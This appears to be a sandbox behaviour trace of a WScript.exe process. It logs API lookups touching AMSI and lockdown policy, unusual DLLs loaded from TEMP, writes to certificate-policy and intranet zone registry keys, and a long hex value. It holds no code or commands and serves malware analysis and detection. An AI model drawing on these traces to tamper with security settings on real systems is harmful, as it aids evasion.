(UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004236) "WScript.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00004236)3f:T454,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4236:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:4236:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:4236:120:WilError_03" Process WScript.exe created mutex with name "SM0:4236:304:WilStaging_02" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "Local\SM0:4236:120:WilError_03" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4236:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4236:120:WilError_03" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4236:120:WilError_03"40:Ta51,"WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8b1060000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8d5760000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ff8da5d0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ff8da230000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7ff8a9630000 "WScript.exe" loaded module "AMSI.DLL" at base 7ff8c9640000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8d81e0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8d81e0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8d81e0000 "WScript.exe" loaded module "KERNEL32" at base 7ff8da230000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\0SKQUL7F.DLL" at base 7ff8ccf50000 "WScript.exe" loaded module "WLDP.DLL" at base 7ff8d7710000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff8d9c80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8d6d90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff8bc580000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8d8030000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff8bbaa0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff8bb510000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ff8bb4d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 7ff8aec50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff8ba430000 "WScript.exe" loaded module "USER32.DLL" at base 7ff8da3c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ff8cd100000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ff8d7ca0000 "WScript.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 7ff8c2720000 "WScript.exe" loaded module "WINHTTP.DLL" at base 7ff8d2f20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff8c2720000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8d7470000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff8ce330000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8cf440000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff8d6ca0000 "WScript.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff8c5a40000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8d7ec0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff8c7f3000041:Tbad,"WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\ProviderOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 0) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload" (Filter: 268435460; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1)42:T689,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\IDENTITYCRL"; Key: ""; Value: "")43:Ta8d,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "DISABLESOCKPOLLCONNFAILURERETURN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "")44:Tb16,"WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")45:T89f,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "DISABLESOCKPOLLCONNFAILURERETURN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "")46:T1f96,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS\TELEMETRY\WSCRIPT.EXE"; Key: "JSCRIPTSETSCRIPTSTATESTARTED"; Value: "AFDA3A000000000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "6B040000000000000400040001000400010100000212F80072ED8101A5ADCF00C777D70025020200000000695303007F450101BF1E0101CF2A010212F80002388F020238F2020292300302E6380103123103032D3A0303AA2B010474580304931A01057A050306596C0107AB1703086A6703088D420108C557030921B500095AA9020992F8000996600309A3360109CA760309EF7D000A7A05030B9292010B9F75030CBB5A030CE9C2000D3045030D37C6000D7879000DA181000DAF63030DBE82010DC461030DD3F9000DDB80010E013E010E7755030E963D010EBACD000F05DE001142C200118AE60211DCE4021202050312E5F8001312310313BC940113BED00213E978001564630315B6250115CEEB00173F5E011793380117D9D40217FADD02189AC7021920610319C0E2001A0A2B031A912C031B4278001BF60B001C955C001CA721011CB949031D4912011E1B35031E25A8021F4EA8001FC738031FD80E032018F20020DA160320DB370321013E0121777A002311AF02231F520323A8200323CC4F012429FE02246B460124ACC700253AD50025BE1701262CC202268B0A03269F2D032704AE022717B60227406A032769120127DB21012812EA0228A11B012919410129203B0129B160032A024A032A0E39012A68A9002AB722012AC7DE002AE768032B2499002B9F5B022BE9CA022C3D81002CC9EE022CD842012D2152032D5838012DD8F4002E29F3022F4759032F9546012FB6F6023050250130E98E03311160033115E70231484F003193040331CF4402322916033257A4003263C30233DF5D01352C5D0235B3300335CC470336B85E0136F81D01373938033789BF02380E670139DF94023A0A9E023A5460033BCE34013BF4DD023C2E3A023CB352003D73EB023E3383003EA5FA003ED9CC013F239F023F7B6F034056F10040B02A014188A60241A87600421D0B0142264A00427A5D0342B3AE00447AE602458D6D03461D0B01463F17034648B6004679D10046C221014732EE0247B1490347E44C03485B750348C24F0048D7700348F9A60049EAB7004AAA81004BF4C2014C37FA004C41B4004CA770004CC84B014DCB6C034E1224014E8D22034E9FF0004EE7C1004F14C2004F34280150406A0350614E0350EA43015232300252A7AA00547A520054B7DC00552D2003555F2A0157AD120157BB4402580BD00058AB1703590F1C01595394005A5EB5005BE834035C7465015C926B035CF431025F997A0360622E0360BA32026113240161CA2A0162226803625AC6016396770063BE7A0364D419016530540165C9760365D36800664D6003671C8A02673B5B0167F16A036830F00268CF72036978EB02698DB9026AC562026B1060036B1DA8026BED71036C2885026D3E43016E5E63036E7820036F00BC026F9777036FB3110170DB6D0370FD2903710528017140A3007179730371965803723C1200726E4A00729B370172A2420172ED81017355FD0273866E037477AD0074C7A40275A37E0075AB0A017679E90276BC210177A66D0377EE6E037808EC027815960079856103799C390079D46D037A8B88037AE393017B45D5007B62CE027B863D027B9FEB007BA8D1007BEE63037D45BE027E1044017F88CA007FC1A802804A710281069500822773008258680183061B0183F16000844D26018450EB0084E6830085124A008550AE00867B0601876A49018792170187B14D0187D7210187DE830087F025018893A002892F83028997F5008A8093008AD300028AFAE3008B4E1D018B5188008B9DA1018BEEF2008C1360038CE6F5028E1D68038E78A2008ED6DC018F88A20290194F0390A6A10190EE37019123D3009158A40291C47B039386610093CE8C0194BB5A03950BFE00959F330195CAD00295E1DB00965DD200971C6103976AB60097748D0097F6C40098724601987F5C03992D720399FEF7019A18D7029B2BDB009B4D87009C1F4D039C4741019C623A019C7E6A039CA4EB009CC37E039CE0A8009D9D92009E98BB029F47B5029F9192019FEBD402A08F4E03A0E70F03A10E3603A189C700A1D07B02A2050600A221C802A2589C02A2BB1A03A3568803A37ABA02A39B8703A3B24E03A3D40803A3E71501A4580200A4BA3701A5ADCF00A61CA802A644A600A736A800A754A102A7B8AD00A841F102A8680903A8C81503A9170602A95E1E03AC54F900AC9A6C03AD73BF00ADD4EC00AEC78F02B054A102B0A05403B0F62E03B1B39F02B291DD00B2AA2101B3008103B392FB00B3BF2D01B47E5803B4F76703B4F9EA00B554A102B5610D01B5F67303B7F00202B8343801B854A102B8673B01B8947603B91AF300B99EC901BAEA5A03BAF9E900BB6A8502BB8E8B00BC54A102BC6EB400BCD22A01BCFA8D00BD388F00BD447403BD539800BE0CAC00BE7E4501BE827203BF516003BF8ECE00BFAB1703C046AD00C054A102C0DB4901C1B2AA02C20C5B02C2610B01C33EA300C36D8100C399F300C3AEF102C4274E03C535C900C561EA01C6BE4201C75DD700C777D700C8464E00C92FB902C9384F01C9389700C953F100CA99CE00CB74DA00CBB9E902CC495600CDAA1703CDAD0501CF676901CF74AA00CFF42B02D0175600D19A7B00D1D2A700D2A92B01D3826100D3C7AF00D3E88D00D45AC702D4D17A03D6ECC602D6F6DE00D73DEB02D9072401D9286803D9A28003D9F95503DA163E02DA38C801DAC97603DAFF0E00DB19EC02DB26D801DB677F03DB724701DBB2CC02DD1B1901DF1F8001DF416303DFA8C601DFDA3703E03EE701E061C302E0943802E0F56603E1790503E17E8C00E183AC02E1D9F502E21B56